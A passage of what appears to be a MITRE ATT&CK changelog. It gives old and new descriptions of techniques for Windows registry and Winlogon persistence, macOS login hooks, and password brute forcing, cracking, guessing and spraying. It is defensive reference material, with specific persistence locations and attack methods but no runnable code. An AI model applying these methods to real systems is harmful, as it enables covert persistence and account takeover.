| > | are\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Fol | > | re\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Fold | ||
| > | ders</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Win | > | ers</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Wind | ||
| > | dows\\CurrentVersion\\Explorer\\Shell Folders</code> * <code>HK | > | ows\\CurrentVersion\\Explorer\\Shell Folders</code> * <code>HKE | ||
| > | EY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\E | > | Y_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ex | ||
| > | xplorer\\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\\SOFT | > | plorer\\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\\SOFTW | ||
| > | WARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Fo | > | ARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Fol | ||
| > | lders</code> The following Registry keys can control automa | > | ders</code> The following Registry keys can control automat | ||
| > | tic startup of services during boot: * <code>HKEY_LOCAL_MAC | > | ic startup of services during boot: * <code>HKEY_LOCAL_MACH | ||
| > | HINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOn | > | INE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnc | ||
| > | ce</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windo | > | e</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Window | ||
| > | ws\\CurrentVersion\\RunServicesOnce</code> * <code>HKEY_LOCAL_ | > | s\\CurrentVersion\\RunServicesOnce</code> * <code>HKEY_LOCAL_M | ||
| > | MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunService | > | ACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices | ||
| > | s</code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Window | > | </code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows | ||
| > | s\\CurrentVersion\\RunServices</code> Using policy settings t | > | \\CurrentVersion\\RunServices</code> Using policy settings to | ||
| > | o specify startup programs creates corresponding values in e | > | specify startup programs creates corresponding values in ei | ||
| > | ither of two Registry keys: * <code>HKEY_LOCAL_MACHINE\\Soft | > | ther of two Registry keys: * <code>HKEY_LOCAL_MACHINE\\Softw | ||
| > | ware\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run< | > | are\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</ | ||
| > | /code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ | > | code> * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\C | ||
| > | CurrentVersion\\Policies\\Explorer\\Run</code> Programs listed | > | urrentVersion\\Policies\\Explorer\\Run</code> Programs listed | ||
| > | in the load value of the registry key <code>HKEY_CURRENT_US | > | in the load value of the registry key <code>HKEY_CURRENT_USE | ||
| > | ER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</cod | > | R\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code | ||
| > | e> run automatically for the currently logged-on user. By d | > | > run automatically for the currently logged-on user. By de | ||
| > | efault, the multistring <code>BootExecute</code> value of th | > | fault, the multistring <code>BootExecute</code> value of the | ||
| > | e registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentContro | > | registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControl | ||
| > | lSet\\Control\\Session Manager</code> is set to <code>autochec | > | Set\\Control\\Session Manager</code> is set to <code>autocheck | ||
| > | k autochk *</code>. This value causes Windows, at startup, t | > | autochk *</code>. This value causes Windows, at startup, to | ||
| > | o check the file-system integrity of the hard disks if the s | > | check the file-system integrity of the hard disks if the sy | ||
| > | ystem has been shut down abnormally. Adversaries can add oth | > | stem has been shut down abnormally. Adversaries can add othe | ||
| > | er programs or processes to this registry value which will a | > | r programs or processes to this registry value which will au | ||
| > | utomatically launch at boot. Adversaries can use these conf | > | tomatically launch at boot. Adversaries can use these confi | ||
| > | iguration locations to execute malware, such as remote acces | > | guration locations to execute malware, such as remote access | ||
| > | s tools, to maintain persistence through system reboots. Adv | > | tools, to maintain persistence through system reboots. Adve | ||
| > | ersaries may also use [Masquerading](https://attack.mitre.or | > | rsaries may also use [Masquerading](https://attack.mitre.org | ||
| > | g/techniques/T1036) to make the Registry entries look as if | > | /techniques/T1036) to make the Registry entries look as if t | ||
| > | they are associated with legitimate programs. | > | hey are associated with legitimate programs. |
HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/004",
"external_id": "T1547.004"
},
{
"source_name": "Cylance Reg Persistence Sept 2013",
"description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:54:14.046000+00:00\", \"old_value\": \"2025-10-24 17:48:53.539000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ and HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n\\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\\n\\n* Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n* Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\\n* Winlogon\\\\Shell - points to explorer.exe, the system shell executed when a user logs on\\n\\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\", \"old_value\": \"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ and HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n\\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\\n\\n* Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n* Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\\n* Winlogon\\\\Shell - points to explorer.exe, the system shell executed when a user logs on\\n\\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ and HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n \\n-Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\\n+Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\\n \\n * Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n * Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
"previous_version": "1.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a | t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a |
| > | nd/or executables when a user logs in. Winlogon.exe is a Win | > | nd/or executables when a user logs in. Winlogon.exe is a Win | ||
| > | dows component responsible for actions at logon/logoff as we | > | dows component responsible for actions at logon/logoff as we | ||
| > | ll as the secure attention sequence (SAS) triggered by Ctrl- | > | ll as the secure attention sequence (SAS) triggered by Ctrl- | ||
| > | Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow643 | > | Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow643 | ||
| > | 2Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code | > | 2Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code | ||
| > | > and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersio | > | > and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersio | ||
| > | n\\Winlogon\\</code> are used to manage additional helper prog | > | n\\Winlogon\\</code> are used to manage additional helper prog | ||
| > | rams and functionalities that support Winlogon.(Citation: Cy | > | rams and functionalities that support Winlogon.(Citation: Cy | ||
| > | lance Reg Persistence Sept 2013) Malicious modifications t | > | lance Reg Persistence Sept 2013) Malicious modifications t | ||
| > | o these Registry keys may cause Winlogon to load and execute | > | o these Registry keys may cause Winlogon to load and execute | ||
| > | malicious DLLs and/or executables. Specifically, the follow | > | malicious DLLs and/or executables. Specifically, the follow | ||
| > | ing subkeys have been known to be possibly vulnerable to abu | > | ing subkeys have been known to be possibly vulnerable to abu | ||
| > | se: (Citation: Cylance Reg Persistence Sept 2013) * Winlogo | > | se:(Citation: Cylance Reg Persistence Sept 2013) * Winlogon | ||
| > | n\\Notify - points to notification package DLLs that handle W | > | \\Notify - points to notification package DLLs that handle Wi | ||
| > | inlogon events * Winlogon\\Userinit - points to userinit.exe, | > | nlogon events * Winlogon\\Userinit - points to userinit.exe, | ||
| > | the user initialization program executed when a user logs o | > | the user initialization program executed when a user logs on | ||
| > | n * Winlogon\\Shell - points to explorer.exe, the system shel | > | * Winlogon\\Shell - points to explorer.exe, the system shell | ||
| > | l executed when a user logs on Adversaries may take advanta | > | executed when a user logs on Adversaries may take advantag | ||
| > | ge of these features to repeatedly execute malicious code an | > | e of these features to repeatedly execute malicious code and | ||
| > | d establish persistence. | > | establish persistence. |
/Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/002",
"external_id": "T1037.002"
},
{
"source_name": "Login Scripts Apple Dev",
"description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
},
{
"source_name": "LoginWindowScripts Apple Dev",
"description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
"url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
},
{
"source_name": "Wardle Persistence Chapter",
"description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
},
{
"source_name": "S1 macOs Persistence",
"description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:11:04.751000+00:00\", \"old_value\": \"2025-10-24 17:48:42.963000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \\n\\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n\\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).\", \"old_value\": \"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \\n\\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n\\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\\n \\n-**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) \\n+**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a Login Hook to establish persistence ex | t | 1 | Adversaries may use a Login Hook to establish persistence ex |
| > | ecuted upon user logon. A login hook is a plist file that po | > | ecuted upon user logon. A login hook is a plist file that po | ||
| > | ints to a specific script to execute with root privileges up | > | ints to a specific script to execute with root privileges up | ||
| > | on user logon. The plist file is located in the <code>/Libra | > | on user logon. The plist file is located in the <code>/Libra | ||
| > | ry/Preferences/com.apple.loginwindow.plist</code> file and c | > | ry/Preferences/com.apple.loginwindow.plist</code> file and c | ||
| > | an be modified using the <code>defaults</code> command-line | > | an be modified using the <code>defaults</code> command-line | ||
| > | utility. This behavior is the same for logout hooks where a | > | utility. This behavior is the same for logout hooks where a | ||
| > | script can be executed upon user logout. All hooks require a | > | script can be executed upon user logout. All hooks require a | ||
| > | dministrator permissions to modify or create hooks.(Citation | > | dministrator permissions to modify or create hooks.(Citation | ||
| > | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl | > | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl | ||
| > | e Dev) Adversaries can add or insert a path to a malicious | > | e Dev) Adversaries can add or insert a path to a malicious | ||
| > | script in the <code>com.apple.loginwindow.plist</code> file | > | script in the <code>com.apple.loginwindow.plist</code> file | ||
| > | , using the <code>LoginHook</code> or <code>LogoutHook</code | > | , using the <code>LoginHook</code> or <code>LogoutHook</code | ||
| > | > key-value pair. The malicious script is executed upon the | > | > key-value pair. The malicious script is executed upon the | ||
| > | next user login. If a login hook already exists, adversaries | > | next user login. If a login hook already exists, adversaries | ||
| > | can add additional commands to an existing login hook. Ther | > | can add additional commands to an existing login hook. Ther | ||
| > | e can be only one login and logout hook on a system at a tim | > | e can be only one login and logout hook on a system at a tim | ||
| > | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste | > | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste | ||
| > | nce Chapter) **Note:** Login hooks were deprecated in 10.11 | > | nce Chapter) **Note:** Login hooks were deprecated in 10.11 | ||
| > | version of macOS in favor of [Launch Daemon](https://attack | > | version of macOS in favor of [Launch Daemon](https://attack | ||
| > | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// | > | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// | ||
| > | attack.mitre.org/techniques/T1543/001) | > | attack.mitre.org/techniques/T1543/001). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | ||
| > | hout knowledge of the password for an account or set of acco | > | hout knowledge of the password for an account or set of acco | ||
| > | unts, an adversary may systematically guess the password usi | > | unts, an adversary may systematically guess the password usi | ||
| > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | ||
| > | shoverride 2018) Brute forcing passwords can take place via | > | shoverride 2018) Brute forcing passwords can take place via | ||
| > | interaction with a service that will check the validity of t | > | interaction with a service that will check the validity of t | ||
| > | hose credentials or offline against previously acquired cred | > | hose credentials or offline against previously acquired cred | ||
| > | ential data, such as password hashes. Brute forcing credent | > | ential data, such as password hashes. Brute forcing credent | ||
| > | ials may take place at various points during a breach. For e | > | ials may take place at various points during a breach. For e | ||
| > | xample, adversaries may attempt to brute force access to [Va | > | xample, adversaries may attempt to brute force access to [Va | ||
| > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | ||
| > | hin a victim environment leveraging knowledge gathered from | > | hin a victim environment leveraging knowledge gathered from | ||
| > | other post-compromise behaviors such as [OS Credential Dumpi | > | other post-compromise behaviors such as [OS Credential Dumpi | ||
| > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | ||
| > | word Policy Discovery](https://attack.mitre.org/techniques/T | > | word Policy Discovery](https://attack.mitre.org/techniques/T | ||
| > | 1201). Adversaries may also combine brute forcing activity w | > | 1201). Adversaries may also combine brute forcing activity w | ||
| > | ith behaviors such as [External Remote Services](https://att | > | ith behaviors such as [External Remote Services](https://att | ||
| > | ack.mitre.org/techniques/T1133) as part of Initial Access. | > | ack.mitre.org/techniques/T1133) as part of Initial Access. | ||
| > | If an adversary guesses the correct password but fails to l | > | If an adversary guesses the correct password but fails to l | ||
| > | ogin to a compromised account due to location-based conditio | > | og in to a compromised account due to location-based conditi | ||
| > | nal access policies, they may change their infrastructure un | > | onal access policies, they may change their infrastructure u | ||
| > | til they match the victim\u2019s location and therefore bypass th | > | ntil they match the victim\u2019s location and therefore bypass t | ||
| > | ose policies.(Citation: ReliaQuest Health Care Social Engine | > | hose policies.(Citation: ReliaQuest Health Care Social Engin | ||
| > | ering Campaign 2024) | > | eering Campaign 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use password cracking to attempt to recover | t | 1 | Adversaries may use password cracking to attempt to recover |
| > | usable credentials, such as plaintext passwords, when creden | > | usable credentials, such as plaintext passwords, when creden | ||
| > | tial material such as password hashes are obtained. [OS Cred | > | tial material such as password hashes are obtained. [OS Cred | ||
| > | ential Dumping](https://attack.mitre.org/techniques/T1003) c | > | ential Dumping](https://attack.mitre.org/techniques/T1003) c | ||
| > | an be used to obtain password hashes, this may only get an a | > | an be used to obtain password hashes, this may only get an a | ||
| > | dversary so far when [Pass the Hash](https://attack.mitre.or | > | dversary so far when [Pass the Hash](https://attack.mitre.or | ||
| > | g/techniques/T1550/002) is not an option. Further, adversar | > | g/techniques/T1550/002) is not an option. Further, adversar | ||
| > | ies may leverage [Data from Configuration Repository](https: | > | ies may leverage [Data from Configuration Repository](https: | ||
| > | //attack.mitre.org/techniques/T1602) in order to obtain hash | > | //attack.mitre.org/techniques/T1602) in order to obtain hash | ||
| > | ed credentials for network devices.(Citation: US-CERT-TA18-1 | > | ed credentials for network devices.(Citation: US-CERT-TA18-1 | ||
| > | 06A) Techniques to systematically guess the passwords used | > | 06A) Techniques to systematically guess the passwords used | ||
| > | to compute hashes are available, or the adversary may use a | > | to compute hashes are available, or the adversary may use a | ||
| > | pre-computed rainbow table to crack hashes. Cracking hashes | > | pre-computed rainbow table to crack hashes. Cracking hashes | ||
| > | is usually done on adversary-controlled systems outside of | > | is usually done on adversary-controlled systems outside of | ||
| > | the target network.(Citation: Wikipedia Password cracking) T | > | the target network.(Citation: Wikipedia Password cracking) T | ||
| > | he resulting plaintext password resulting from a successfull | > | he resulting plaintext password resulting from a successfull | ||
| > | y cracked hash may be used to log into systems, resources, a | > | y cracked hash may be used to log into systems, resources, a | ||
| > | nd services in which the account has access. | > | nd services to which the account has access. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries with no prior knowledge of legitimate credential | t | 1 | Adversaries with no prior knowledge of legitimate credential |
| > | s within the system or environment may guess passwords to at | > | s within the system or environment may guess passwords to at | ||
| > | tempt access to accounts. Without knowledge of the password | > | tempt access to accounts. Without knowledge of the password | ||
| > | for an account, an adversary may opt to systematically guess | > | for an account, an adversary may opt to systematically guess | ||
| > | the password using a repetitive or iterative mechanism. An | > | the password using a repetitive or iterative mechanism. An | ||
| > | adversary may guess login credentials without prior knowledg | > | adversary may guess login credentials without prior knowledg | ||
| > | e of system or environment passwords during an operation by | > | e of system or environment passwords during an operation by | ||
| > | using a list of common passwords. Password guessing may or m | > | using a list of common passwords. Password guessing may or m | ||
| > | ay not take into account the target's policies on password c | > | ay not take into account the target's policies on password c | ||
| > | omplexity or use policies that may lock accounts out after a | > | omplexity or use policies that may lock accounts out after a | ||
| > | number of failed attempts. Guessing passwords can be a ris | > | number of failed attempts. Guessing passwords can be a ris | ||
| > | ky option because it could cause numerous authentication fai | > | ky option because it could cause numerous authentication fai | ||
| > | lures and account lockouts, depending on the organization's | > | lures and account lockouts, depending on the organization's | ||
| > | login failure policies. (Citation: Cylance Cleaver) Typical | > | login failure policies.(Citation: Cylance Cleaver) Typicall | ||
| > | ly, management services over commonly used ports are used wh | > | y, management services over commonly used ports are used whe | ||
| > | en guessing passwords. Commonly targeted services include th | > | n guessing passwords. Commonly targeted services include the | ||
| > | e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP | > | following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) | ||
| > | ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC | > | * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP | ||
| > | P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) | > | ) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * | ||
| > | * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( | > | HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1 | ||
| > | 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 | > | 433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/ | ||
| > | /TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manag | > | TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manage | ||
| > | ement services, adversaries may \"target single sign-on (SSO) | > | ment services, adversaries may \"target single sign-on (SSO) | ||
| > | and cloud-based applications utilizing federated authentica | > | and cloud-based applications utilizing federated authenticat | ||
| > | tion protocols,\" as well as externally facing email applicat | > | ion protocols,\" as well as externally facing email applicati | ||
| > | ions, such as Office 365.(Citation: US-CERT TA18-068A 2018). | > | ons, such as Office 365.(Citation: US-CERT TA18-068A 2018) F | ||
| > | Further, adversaries may abuse network device interfaces (s | > | urther, adversaries may abuse network device interfaces (suc | ||
| > | uch as `wlanAPI`) to brute force accessible wifi-router(s) v | > | h as `wlanAPI`) to brute force accessible wifi-router(s) via | ||
| > | ia wireless authentication protocols.(Citation: Trend Micro | > | wireless authentication protocols.(Citation: Trend Micro Em | ||
| > | Emotet 2020) In default environments, LDAP and Kerberos con | > | otet 2020) In default environments, LDAP and Kerberos conne | ||
| > | nection attempts are less likely to trigger events over SMB, | > | ction attempts are less likely to trigger events over SMB, w | ||
| > | which creates Windows \"logon failure\" event ID 4625. | > | hich creates Windows \"logon failure\" event ID 4625. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a single or small list of commonly used | t | 1 | Adversaries may use a single or small list of commonly used |
| > | passwords against many different accounts to attempt to acqu | > | passwords against many different accounts to attempt to acqu | ||
| > | ire valid account credentials. Password spraying uses one pa | > | ire valid account credentials. Password spraying uses one pa | ||
| > | ssword (e.g. 'Password01'), or a small list of commonly used | > | ssword (e.g. 'Password01'), or a small list of commonly used | ||
| > | passwords, that may match the complexity policy of the doma | > | passwords, that may match the complexity policy of the doma | ||
| > | in. Logins are attempted with that password against many dif | > | in. Logins are attempted with that password against many dif | ||
| > | ferent accounts on a network to avoid account lockouts that | > | ferent accounts on a network to avoid account lockouts that | ||
| > | would normally occur when brute forcing a single account wit | > | would normally occur when brute forcing a single account wit | ||
